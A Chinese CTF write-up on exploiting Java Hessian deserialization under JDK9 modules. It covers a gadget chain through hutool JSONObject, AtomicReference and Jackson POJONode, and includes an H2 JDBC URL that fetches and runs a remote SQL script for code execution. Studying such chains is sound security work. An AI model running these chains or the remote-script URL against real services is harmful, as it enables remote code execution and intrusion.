官方wp:https://xz.aliyun.com/t/14190
Jdk9 module
dk9出现了module机制:https://zhuanlan.zhihu.com/p/640217638。
总结一下:
Java API 的作用范围分为methods、classes、packages和modules(最高)。 module包含许多基本信息:
- 名字
- 对其他module的依赖关系
- 开放的API(其他都是module内部的,无法访问)
- 使用和提供的service
每个module,都会有一个module-info.java文件,如TemplatesImpl所在的module:
java.xml是module的名字,不一定要和包名一样。
exports表示外部可以访问当前module的哪些package。有点像nodejs。
exports…to 表示指定该package只能被哪些package访问。
同一个module下的类可以互相访问。
TemplatesImpl所在的package没有被export,所以我们不能访问。
–add-opens
在程序运行时加上VM Option,即可访问原本不能访问的module。语法:--add-opens [module]/[package]=module
,如:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
,意思就是把该模块下的某包对所有unnamed module开放。一般没有module信息的类都在unnamed module @ xxxxx
下。
setAccessible
平时设置私有属性必须要用到的就是这个,但是jdk9中setAccessible中多了个这个,检查访问权限。
总结一下,以下情况才是Accessible:
- 当前module和被访问module相同
- 当前module是java.base
- 被访问module是unnamed module
- class is public and package is exported to caller
- member is public
- member is protected-static
- package is open to caller
反序列化
反序列化类,不受module影响。
如,第一次运行加上–add-opens序列化XString,写到一个文件里。第二次运行时,不加–add-opens,读取该文件,反序列化成功。
hessian反序列化
这也是一块重要内容。
核心利用方式:当反序列化最外层对象是一个map时,会调用该map的put方法。
所以通过put触发的gadge都可以用,如下面两个,作用都是put->toString。
HashMap+XString。
HashMap+HotSwappableTagetSource+XString
但是这道题不是一般的hessian
有黑名单
XString也被包括在里面了。
h2 jdbc attack
https://xz.aliyun.com/t/13931
h2数据库,如果能执行这条sql语句,即可rce。
指定jdbc连接的url为这个时,会加载远程sql语句然后执行。
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
来个例子:
pom文件
main
运行即可弹计算器。
观察一下main,没有import h2依赖的包,那能不能把这个依赖去掉?
PooledDSFactory是hutool依赖里用来发起数据库连接的类,连接时需要用到driver。 h2依赖里面放的就是driver。
所以去掉h2依赖后会提示找不到driver。
JSONObject
cn.hutool.json.JSONObject。
该类是一个map,put(key,value)时会触发value.toString,但value必须是java内部类。
put方法会进入这里。
接着进入wrap。
可以看到触发toString也是有条件的,就是必须是Java内部类。
AtomicReference
java.util.concurrent.atomic.AtomicReference
这个类的toString方法,会调用自身value属性的toString。
POJONode 特性
我们都知道jackson#toString
,可以调用getter,但是getter的返回值,如果是个对象,也会继续调用该对象的getter。
在BeanPropertyWriter#serializeAsField
中,第一行就是调用getter,getter的返回值是value
还是这个方法,继续往下,会到达这里,value被传了进去:
一直跟进serializeFields
这个方法里,prop是这个对象的属性,不一定是成员变量,如有一个getA方法,但是没有A属性,A也会算进prop里。
后面就是进入prop的serializeAsField,然后继续调用getter。注意,此时的getter已经是value的getter了。
ClassPathXmlApplicationContext
看看官方wp:https://xz.aliyun.com/t/14190
调用链:JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> DSFactory.getDataSource -> Driver.connect
我最开始看的时候,有几个问题:
1、本地运行时加了–add-opens参数,目的是为了访问原本不可访问的类,但是打远程的时候没办法在远程加,是不是远程就不能访问这些类了?
2、题目的dockerfile加了这个:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
,目的是为了让当前module能够访问别的module。但是别的类,比如POJONode也处于别的module,为什么不用加也能正常反序列化?
3、JSONObject和POJONode中间为什么要多调用AtomicReference#toString
。
4、直接把PooledDSFactory直接写进bean,这样的话,调用的就是PooledDSFactory的readObject。按我的理解,应该把PooledDSFactory再套一层readObject->toString->getter,然后再塞进bean。
对于第二点,hessian反序列化恢复属性的时候会调用setAccessible,由于AtomicReference的module是java.base,原本不可访问,所以要加–add-opens。而POJONode等别的类,module是unnamed module,setAccessible可以通过,且反序列化不检查module,所以不加也没事。
别的问题都可以在上面找到答案。
还有就是自己本地生成payload时,能吐出base64,但是会有异常,不过不影响。
sink点寻找
首先要知道java里rce的方法大致有哪些
- Runtime.getRuntime().exec
- new ProcessBuilder(“”).start()
- method#invoke,method和参数可控
- 远程类加载URLClassLoader#loadClass
- jdk8中有TemplatesImpl,jdk9之后就无了。
- 高版本JDNI与BeanFactory
- 任意类实例化
看这题的时候,没想到任意类实例化。用codeql查jooq包,没有Runtime,没有ProcessBuilder,loadClass和method#invoke都有一些,但不可控。于是只能考虑jooq这个包是不是有类似于jdbc的、不在上述范围内的rce,例如agent用到的h2。
但其实new ClassPathXmlApplicationContext就能rce了。当pop让我codeql查找newInstance方法时候,我才想起来有这个rce手法。(第一次接触是在pgsql jdbc attack)
codeql挖掘
先查newInstance
然后就是找getter到达这个newInstance的路径
结果不多,配合手筛就能找到正确的了,那就是ConvertedVal#getValue -> ConvertAll#from
,从名字就能看出功能很相似。
chain构造
然后补齐中间的链子即可
bean.xml
这个可以
这样不行,不知道为什么。
server在内网里,要通过agent打。这一步也挺麻烦的,我能想到的办法只有在agent getshell后写文件,搭个代理到内网。我尝试过后,有一点麻烦,就按照官方的打。
官方wp直接在agent获取到poc.sql时执行java代码
复现成功。